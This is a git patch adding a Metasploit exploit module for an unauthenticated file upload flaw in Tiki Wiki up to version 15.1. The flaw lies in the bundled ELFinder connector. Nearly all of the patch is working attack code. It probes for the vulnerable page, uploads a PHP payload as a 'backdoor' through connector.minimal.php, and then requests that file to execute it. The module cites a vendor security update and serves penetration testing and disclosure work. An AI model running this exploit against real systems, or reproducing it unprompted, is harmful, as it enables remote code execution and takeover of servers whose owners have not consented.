From e79c3ba7c0de696304040dd746dc466af952bee1 Mon Sep 17 00:00:00 2001
From: Mehmet Ince <mehmet@mehmetince.net>
Date: Mon, 11 Jul 2016 22:44:07 +0300
Subject: [PATCH] Tiki Wiki unauth rce

---
 .../unix/webapp/tikiwiki_upload_exec.rb       | 93 +++++++++++++++++++
 1 file changed, 93 insertions(+)
 create mode 100644 modules/exploits/unix/webapp/tikiwiki_upload_exec.rb

diff --git a/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb b/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb
new file mode 100644
index 0000000000..94562b3878
--- /dev/null
+++ b/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb
@@ -0,0 +1,93 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Tiki Wiki Unauthenticated File Upload Vulnerability',
+      'Description'    => %q{
+          This module exploits a file upload vulnerability in Tiki Wiki <= 15.1
+        which could be abused to allow unauthenticated users to execute arbitrary code
+        under the context of the webserver user.
+
+        The issue comes with one of the 3rd party components. Name of that components is
+        ELFinder -version 2.0-. This components comes with default example page which
+        demonstrates file operations such as upload, remove, rename, create directory etc.
+        Default configuration does not force validations such as file extension, content-type etc.
+        Thus, unauthenticated user can upload PHP file.
+
+        The exploit has been tested on Debian 8.x 64bit and Tiki Wiki 15.1.
+      },
+      'Author'	=>
+        [
+          'Mehmet Ince <mehmet@mehmetince.net>' # Vulnerability discovery and Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'URL', 'https://www.mehmetince.net/exploit/tiki-wiki-unauthenticated-file-upload-vulnerability' ],
+          [ 'URL', 'https://tiki.org/article434-Security-update-Tiki-15-2-Tiki-14-4-and-Tiki-12-9-released' ]
+        ],
+      'Privileged'     => false,
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Payload'        =>
+        {
+          'DisableNops' => true,
+        },
+      'Targets'        => [ ['Automatic', {}] ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jul 11 2016'
+      ))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [ true, "Installed path of Tiki Wiki", "/tiki/"])
+        ], self.class)
+  end
+
+  def check
+    url = normalize_uri(target_uri.path, "vendor_extra/elfinder/elfinder.html")
+    res = send_request_cgi(
+        'method' => 'GET',
+        'uri' => normalize_uri(url)
+    )
+    if res and res.code == 200
+      return Exploit::CheckCode::Appears
+    end
+    return Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    filename = rand_text_alpha(8 + rand(4)) + '.php'
+    data = Rex::MIME::Message.new
+    data.add_part('upload', nil, nil, 'form-data; name="cmd"')
+    data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
+    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"")
+    print_status("Uploading backdoor file.")
+    res = send_request_cgi({
+      'method'   => 'POST',
+      'uri'      => normalize_uri(target_uri.path, "vendor_extra/elfinder/php/connector.minimal.php"),
+      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
+      'data'     => data.to_s
+     })
+    if res and res.code == 200
+      print_good("Backdoor successfully created.")
+    else
+      fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
+    end
+    print_status("Trigging the exploit...")
+    res = send_request_cgi({
+        'method'  => 'GET',
+        'uri'     => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/"+filename)
+     },5)
+  end
+end